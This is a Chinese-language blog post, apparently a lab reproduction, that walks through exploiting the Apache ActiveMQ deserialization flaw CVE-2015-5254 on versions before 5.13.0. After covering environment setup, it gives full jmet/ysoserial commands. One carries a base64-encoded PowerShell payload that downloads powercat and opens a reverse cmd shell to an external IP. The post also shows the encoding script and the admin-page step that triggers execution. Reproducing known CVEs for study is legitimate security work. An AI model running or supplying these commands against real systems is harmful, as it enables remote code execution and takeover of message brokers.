Apache ActiveMQ 反序列化漏洞 CVE-2015-5254

前言

大佬们玩的漏洞都是我没见过的。学习一下~

漏洞成因

远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞版本

Apache ActiveMQ 5.13.0之前的版本

漏洞搭建

在搭建环境的时候,出现了许多坑。大多为版本匹配的问题。
最后采用环境为:jdk 1.7、apache-activemq-5.11.0、server 2008
在安装java环境后,配置环境变量为

CLASSPATH
.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
JAVA_HOME
C:\Program Files\Java\jdk1.8.0_172
PATH
%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

下载ActiveMQ5.11.0版本后解压,切换至目录bin\win64下,运行InstallService.bat。后运行activemq.bat启动activeMQ服务
下载地址 http://activemq.apache.org/download-archives.html

image.png
image.png

成功运行。查看端口可证明

image.png

访问一下activeMQ,默认密码admin/admin

image.png

可看到版本。

漏洞利用

1.构成(使用ysoserial)可执行命令的序列化对象
2.作为一个消息,发送给目标的61616端口
3.访问web管理页面,读取消息,触发漏洞

在kali里进行实验,下载 jmet-0.1.0-all.jar
再新建external文件夹

image.png

命令为

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME  172.16.222.197 61616

payload为执行系统的命令。这次使用powershell反弹cmd

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "powershell -exec bypass -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBiAGUAcwBpAG0AbwByAGgAaQBuAG8ALwBwAG8AdwBlAHIAYwBhAHQALwBtAGEAcwB0AGUAcgAvAHAAbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7ACAAcABvAHcAZQByAGMAYQB0ACAAIAAtAGMAIAA0ADcALgA5ADQALgA4ADAALgAxADIAOQAgACAALQBwACAAOAAwADgAMAAgAC0AZQAgAGMAbQBkADsA" -Yp ROME  192.168.203.137 61616

因为乱码问题,所以在powershell反弹cmd时使用了base64编码。

补充:base64编码过程如下

$text = "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat  -c 47.94.80.xxx  -p 8080 -e cmd;"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
EncodedText > bs64.txt

将生成的bs64.txt文件源码拷贝到command参数后面,即这次利用的payload

powershell -exec bypass -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBiAGUAcwBpAG0AbwByAGgAaQBuAG8ALwBwAG8AdwBlAHIAYwBhAHQALwBtAGEAcwB0AGUAcgAvAHAAbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7ACAAcABvAHcAZQByAGMAYQB0ACAAIAAtAGMAIAA0ADcALgA5ADQALgA4ADAALgAxADIAOQAgACAALQBwACAAOAAwADgAMAAgAC0AZQAgAGMAbQBkADsA
image.png

此时会添加一个队列,访问查看消息。
http://192.168.203.137:8161/admin/browse.jsp?JMSDestination=event

image.png

点击该消息,可成功反弹cmd。

image.png

参考资料
ActiveMQ:Exception occurred while processing this request, check the log for more information!
Windows下安装ActiveMQ
Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现

你可能感兴趣的:(Apache ActiveMQ 反序列化漏洞 CVE-2015-5254)